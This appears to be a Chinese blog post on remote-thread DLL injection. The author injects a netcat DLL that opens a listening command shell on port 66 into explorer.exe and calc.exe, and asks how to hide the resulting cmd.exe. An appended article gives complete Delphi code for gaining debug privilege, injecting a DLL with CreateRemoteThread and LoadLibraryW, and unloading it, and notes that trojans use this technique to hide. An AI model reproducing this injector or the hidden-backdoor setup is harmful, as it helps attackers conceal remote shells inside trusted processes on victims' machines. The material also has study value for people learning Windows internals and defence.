远程线程注入dll的一个例子,netcat.dll

nc 同时被 3 个专栏收录
17 篇文章 1 订阅
50 篇文章 0 订阅
54 篇文章 1 订阅

远程dll示例,学习远程线程的例子

masm32 v11 免费下载

Windows环境下32位汇编语言程序设计中13章的远程注入dll的例子

说明HideDll.dll既是nc.dll(改了个名,军刀netcat的动态链接库版),相当于nc -LP 66。

loader.exe取自Windows应用程序捆绑核心编程。

也可以用Windows环境下32位汇编语言程序设计RemoteThreadDll中的Load.exe。直接就捆绑到了explorer.exe。

szDesktopClass    db    'Progman',0
szDesktopWindow    db    'Program Manager',0

环境可以下载上面的masm32 v11,然后下载Windows环境下32位汇编语言程序设计中13章的远程注入dll的例子。


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
           int id;
    switch ( fdwReason )
    {
        //dll被附加时
    case DLL_PROCESS_ATTACH:
        glhInstance = hinstDLL;

           CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EntryPoint,NULL,0,&id);
        //EntryPoint (NULL,NULL,NULL,0);
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;

}


开始的时候没有CreateThread(),直接调用了Dll的主函数EntryPoint(),结果注入了dll也没发挥作用。

来,需要在DllMain()函数里再创建一个线程。



把netcat.dll注入到calc.exe,但是连接后还是出现cmd.exe
http://v.youku.com/v_show/id_XNTU0MzE2ODky.html
能不能把cmd.exe也隐藏了?


tasklistt /m 可以看出所有的进程加载了哪些dll,我们的dll.dll显示了出来!

explorer.exe                3764 ntdll.dll, kernel32.dll, ADVAPI32.dll,       
                                 RPCRT4.dll, Secur32.dll, BROWSEUI.dll,       
                                 GDI32.dll, USER32.dll, msvcrt.dll,           
                                 ole32.dll, SHLWAPI.dll, OLEAUT32.dll,        
                                 SHDOCVW.dll, CRYPT32.dll, MSASN1.dll,        
                                 CRYPTUI.dll, NETAPI32.dll, VERSION.dll,      
                                 WININET.dll, Normaliz.dll, urlmon.dll,       
                                 iertutil.dll, WINTRUST.dll, IMAGEHLP.dll,    
                                 WLDAP32.dll, SHELL32.dll, UxTheme.dll,       
                                 ShimEng.dll, AcGenral.DLL, WINMM.dll,        
                                 MSACM32.dll, USERENV.dll, IMM32.DLL,         
                                 LPK.DLL, USP10.dll, comctl32.dll,            
                                 comctl32.dll, msctfime.ime,                  
                                 GOOGLEPINYIN2.IME, MSIMG32.dll, gdiplus.dll,
                                 dbghelp.dll, appHelp.dll, CLBCATQ.DLL,       
                                 COMRes.dll, NetdiskExt.dll, MPR.dll,         
                                 PSAPI.DLL, 360UDiskGuard.dll, SETUPAPI.dll,  
                                 cscui.dll, CSCDLL.dll, themeui.dll,          
                                 xpsp2res.dll, msxml3.dll, ACTXPRXY.DLL,      
                                 SAMLIB.dll, msi.dll, LINKINFO.dll,           
                                 ntshrui.dll, ATL.DLL, ieframe.dll,           
                                 stobject.dll, BatMeter.dll, POWRPROF.dll,    
                                 WTSAPI32.dll, WINSTA.dll, MSCTF.dll,         
                                 wdmaud.drv, msacm32.drv, midimap.dll,        
                                 NETSHELL.dll, credui.dll, dot3api.dll,       
                                 rtutils.dll, dot3dlg.dll, OneX.DLL,          
                                 eappcfg.dll, MSVCP60.dll, eappprxy.dll,      
                                 iphlpapi.dll, WS2_32.dll, WS2HELP.dll,       
                                 webcheck.dll, MLANG.dll,                     
                                 WPDShServiceObj.dll, WINHTTP.dll,            
                                 fzshellext.dll, mydocs.dll,                  
                                 PortableDeviceTypes.dll,                     
                                 PortableDeviceApi.dll, SXS.DLL,              
                                 SoftMgrLiteLauncher.dll, safemon.dll,        
                                 Safehmpg.dll, iNetSafe.dll, 360Util.dll,     
                                 rsaenh.dll, browselc.dll, drprov.dll,        
                                 davclnt.dll, DUSER.dll, MSGINA.dll,          
                                 ODBC32.dll, comdlg32.dll, odbcint.dll,       
                                 wiashext.dll, sti.dll, CFGMGR32.dll,         
                                 PDFShell.dll, MSVCP90.dll, MSVCR90.dll,      
                                 Dll.dll, WSOCK32.dll,                        
                                 net_monitor2.0.2.7.dll, MSVCP71.dll,         
                                 MSVCR71.dll, mswsock.dll, hnetcfg.dll,       
                                 wshtcpip.dll        


360Util.dll是360安全卫士注入的。

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

sitelist

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值